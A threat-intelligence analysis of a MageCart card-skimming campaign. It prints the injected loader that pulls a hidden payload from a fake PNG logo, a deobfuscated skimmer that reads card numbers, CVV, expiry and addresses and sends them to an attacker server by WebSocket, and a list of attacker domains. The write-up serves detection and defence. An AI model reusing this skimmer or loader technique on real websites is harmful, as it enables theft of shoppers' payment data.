Overview
In recent years, electronic payments have greatly facilitated people’s lives, and the COVID-19 has further increased the demand for electronic payments. With the increase in application scenarios and users of electronic payments, various attacks targeting electronic payments have gradually increased.
Recently, we intercepted an attack event that profits from stealing credit card information by invading websites and implanting information-stealing trojans into websites. The group inserts information-recording trojans into the credit card payment pages of various platforms, then sends the intercepted credit card information to the trojan’s cc server, and then profits by buying virtual items for cash. The entire attack process is very covert, and normal users are not easily aware of the entire theft process. The entire attack process of this group is as follows:

Tracing Back
From the current situation, this group prefers to steal credit card information and has a relatively complete attack system. From the server where the intercepted trojan is located, this group recently organized a wave of attacks, and its domain name DNS activity information is as follows:

Through the association of Qi Anxin Threat Intelligence Center, it is known that this domain name belongs to the assets of the MageCart group. Public intelligence shows that the group is composed of multiple teams, mainly stealing various payment information for economic benefits. Through horizontal expansion of whois information, we also found other domain name assets of this organization as follows:

As you can see, most of the domain names use the method of “touching porcelain” various well-known websites to confuse customers. By observing the resolution volume of the above domain names, it is found that the following domain names have been active recently:

Analysis
The entry point of the attack code obtained this time is as follows (part of the content has been coded, and the code has been formatted), this section of code is embedded into the normal payment page by hackers:
- <script>
- var _cs = ["b/m", "png", "ia", "**", "***", "*_", "/im", "s/", "age", "/pu", "ed", "o.", "log"];
- _f0();
- async function _f0() {
- // Decrypted string is:/pub/media/images/******_logo.png
- let url = _cs[9] + _cs[0] + _cs[10] + _cs[2] + _cs[6] + _cs[8] + _cs[7] + _cs[3] + _cs[4] + _cs[5] + _cs[12] + _cs[11] + _cs[1];
- console.log(url);
- let response = await fetch(url);
- if (response.ok) {
- let payload = await response.text();
- payload = payload.slice( - 16159)
- //var eval_function = new Function(payload);
- //return (eval_function());
- }
- }
- </script>
- <script src="hxxps://procloudflare.com/jquery/jquery.js"></script>
After analysis, it is known that the main function of the above code is to get the content of the /pub/media/images/******_logo.png file and get the last 16159 bytes as the second stage payload execution. Let’s see what the last few bytes of the ******_logo.png file are:

It can be seen that the end of the entire png file is actually CHUNK[3], CHUNK[4] has a very obvious splicing trace and the length of the spliced part is just 16159 bytes. This part is a piece of JS code. After high-level obfuscation, after de-obfuscation and analysis, the main logic is as follows (the code has been reduced to highlight the key points):
- var na = 'wss://'
- var dm = atob(window['cdm'])
- var sl = window['csl']
- var ua = window['cua']
- addSniffer(
- "rootways_bambora_option_cc_number", null,
- 'firstname', 'lastname',
- null, "rootways_bambora_option_expiration"
- "rootways_bambora_option_expiration_yr",
- "rootways_bambora_option_cc_cid",
- 'https://' + l2, na + dm + sl + ua,
- 'region_id', 'country_id', 2000
- )
- function addSniffer(
- var _t = {
- Number: 'rootways_bambora_option_cc_number',
- Holder: null,
- HolderFirstName: first_name,
- HolderLastName: last_name,
- Date: null,
- Month: 'rootways_bambora_option_expiration',
- Year: 'rootways_bambora_option_expiration_yr',
- CVV: 'rootways_bambora_option_cc_cid',
- Region: 'region_id',
- Country: 'country_id',
- Gate: 'https://' + l2,
- SL: na + dm + sl + ua,
- .......
- SaveAllFields: function() {
- var _input_el = document.getElementsByTagName('input')
- var _select_el = document.getElementsByTagName('select')
- var _textarea_el = document.getElementsByTagName('textarea')
- ......
- if (document.querySelector('select[name="billing_address_id"] option')) {
- var billing_address = document.querySelector('select[name="billing_address_id"] option').textContent
- var address_part = billing_address.substr(billing_address.indexOf(',') + 2)
- _t['Data']['FullInfo'] = billing_address
- _t['Data']['Address'] = address_part
- }
- _t['Data']['Location'] = window.location.pathname + window.location.hash
- },
- SendData: function() {
- if (closeConsole()) {
- vat data_json_b64encoded = _t.Base64.encode(JSON.stringify(_t.Data))
- ......
- _t.LoadImage(data_json_b64encoded)
- }
- },
- WebSocket: function() {
- g_webSocket = new WebSocket(_t.SL)
- },
- TrySend: function() {
- _t.SaveAllFields()
- _t.getCCInfo()
- ....
- _t.UserInformation()
- _t.SendData()
- },
- GetCCInfo: function() {// this function is used for get information of credit card, and fill these information to variable _t},
- UserInformation: function() {// this function is used for get victim's timezone and browser user agent, and fill these information to variable _t},
- LoadImage: function(data) {
- if (g_webSocket.readyState == 1) {
- g_webSocket.send('update=' + param)
- }
- ......
- },
- ......
- }
- var g_webSocket
- _t.WebSocket()
- setInterval(_t.TrySend, 2000)
- )
Science popularization: Credit card consumption only needs to know the card number, validity period, cardholder’s name and CVV, and does not need the certificate key (USB Key) commonly used in China.
Just looking at the plaintext string, this script gets the credit card information in the page input box and then sends some other information of the victim to the remote server via websocket, that is, na + dm + sl + ua in the above text, because we can’t get the scene at that time, so the value stored in the global DOM object cannot be obtained.
At the beginning of this section, the code loaded from hxxps://procloudflare.com/jquery/jquery.js, let’s first have an intuitive feel of what this section of code looks like:

After analysis, its function is basically the same as the above theft code, but it is likely to fail to load due to browser restrictions on cross-domain, which also explains why the attacker went to great lengths to forge a logo picture and load the theft script from the same domain picture.
Finally, let’s take a look at another domain name that has been active recently: the search engine result of jquery24.com:

Got a wild js address, let’s see what it looks like first:

It was found that there are malicious scripts using the same means under this domain name, so we are more certain that the whois holding email of this domain name is the network asset used by this organization.
cloudflareshop.com |
procloudflare.com |
cloudflarepro.info |
procloudflare.net |
googletag.info |
magentoportal.com |
jquery24.com |
googlemaster.info |
mycloudflare.net |
jqueryinfo.com |
jqueryexpert.com |
cloudflareplus.net |
jsstroy.com |
cloudflareplus.com |
[email protected] |